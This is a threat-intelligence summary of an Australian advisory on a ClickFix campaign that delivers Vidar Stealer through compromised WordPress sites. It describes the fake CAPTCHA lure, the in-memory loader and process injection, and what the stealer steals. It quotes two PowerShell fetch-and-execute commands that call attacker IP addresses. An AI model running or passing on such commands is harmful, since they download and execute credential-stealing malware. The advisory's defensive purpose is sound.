ACSC Advisory — ClickFix Campaign Distributing Vidar Stealer via Compromised WordPress Sites Targeting Australian Infrastructure — Threadlinqs Intelligence
As of 2026-05-30, ACSC Advisory — ClickFix Campaign Distributing Vidar Stealer via Compromised WordPress Sites Targeting Australian Infrastructure is a high-severity malware threat, tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 19 indicators of compromise.
Threat ID: TL-2026-0479 · Severity: HIGH · Status: ACTIVE · Category: MALWARE
The Australian Signals Directorate's Australian Cyber Security Centre (ACSC) issued a national-level advisory on 7 May 2026 warning of an ongoing ClickFix social-engineering campaign that delivers
Overview
--------
On 7 May 2026, the Australian Signals Directorate's Australian Cyber Security Centre (ASD's ACSC) released an advisory warning that Australian organizations and critical-infrastructure entities are being actively targeted by a ClickFix campaign that distributes the Vidar information stealer through compromised, otherwise-legitimate WordPress sites. The advisory was released in coordination with public reporting from Rapid7 Labs (10 March 2026) tying the Australia-targeted activity to a much larger global stealer operation that has compromised 250+ WordPress sites across at least 12 countries (Australia, Brazil, Canada, Czechia, Germany, India, Israel, Singapore, Slovakia, Switzerland, the United Kingdom, and the United States).
The operation is significant because it weaponises three trends that have collectively eroded traditional perimeter defences: (1) ClickFix social engineering that converts the victim themselves into the executor of malicious code, bypassing browser sandboxes and email gateways entirely; (2) the use of trusted, legitimate WordPress sites as the malware-distribution surface, defeating URL-reputation and proxy block-lists; and (3) Vidar Stealer's evolved memory-resident execution model that minimises forensic artefacts and resolves C2 only at runtime via dead-drop URLs.
Initial Access — ClickFix Lure on Compromised WordPress
--------------------------------------------------------
Threat actors compromise WordPress sites primarily through vulnerable or out-of-date themes and plugins, and inject obfuscated JavaScript that conditionally renders a full-page overlay impersonating Cloudflare's interstitial verification or a 'Verify you are human' CAPTCHA. The overlay includes step-by-step instructions that walk the visitor through pressing Win+R (Run dialog) or opening a terminal, pasting a copied command, and pressing Enter. The clipboard payload is silently populated by the malicious JavaScript via the document.execCommand('copy') / Clipboard API path.
Observed initial-stage commands include:
- powershell -c iex(irm 91.92.240[.]219 -UseBasicParsing)
- powershell.exe -Command "try { $finalPayload = iwr -Uri \"178.16.53[.]70\" -UseBasicParsing; Invoke-Expression $finalPayload.Content } catch { }"
Both use Invoke-RestMethod / Invoke-WebRequest plus Invoke-Expression — the canonical 'iex(irm …)' fetch-and-execute pattern that the ACSC explicitly calls out as a high-value detection target.
Execution and In-Memory Loader
------------------------------
The second-stage script downloads two raw shellcode blobs named 'cptch.bin' and 'cptchbuild.bin'. A reflective .NET / PowerShell loader allocates RWX memory using VirtualAlloc, copies the shellcode in, and executes it via CreateThread. The shellcode then performs process-injection into a newly spawned svchost.exe using a classic CreateRemoteThread / NtMapViewOfSection technique, and the original dropper deletes itself from disk (matching the long-standing Vidar self-delete behaviour). From this point the stealer runs entirely from memory inside a host process that defenders typically allow-list, severely reducing on-disk forensic artefacts.
Vidar Stealer Capabilities (Evolved 2025-2026 variant)
------------------------------------------------------
Vidar is a malware-as-a-service infostealer family active since late 2018. The variant observed in this campaign:
- Self-deletes the initial executable after launching
- Operates from system memory to reduce forensic artefacts
- Steals saved browser passwords, cookies, autofill data, and stored credit-card data
- Targets desktop cryptocurrency wallet files and browser-extension wallets (MetaMask, Phantom, Trust Wallet)
- Collects host fingerprint data: hostname, username, OS version, hardware, installed software, screenshot
- Resolves C2 addresses by parsing dead-drop posts on Telegram bot profiles and Steam profile bios (a technique Vidar pioneered) — defeats static C2 blocklists
-
Target sectors: government, critical-infrastructure, energy, water, transportation, telecommunications, financial, healthcare, education, professional-services, retail, general
Target regions: Australia, Brazil, Canada, Czechia, Germany, India, Israel, Singapore, Slovakia, Switzerland, United Kingdom, United States
Detections & IOCs
As of 2026-07-28, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 19 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
MALWARE, HIGH, threat intelligence, cybersecurity, T1584, T1608, T1583, T1189, T1566, T1204, T1059, T1106, T1620, T1055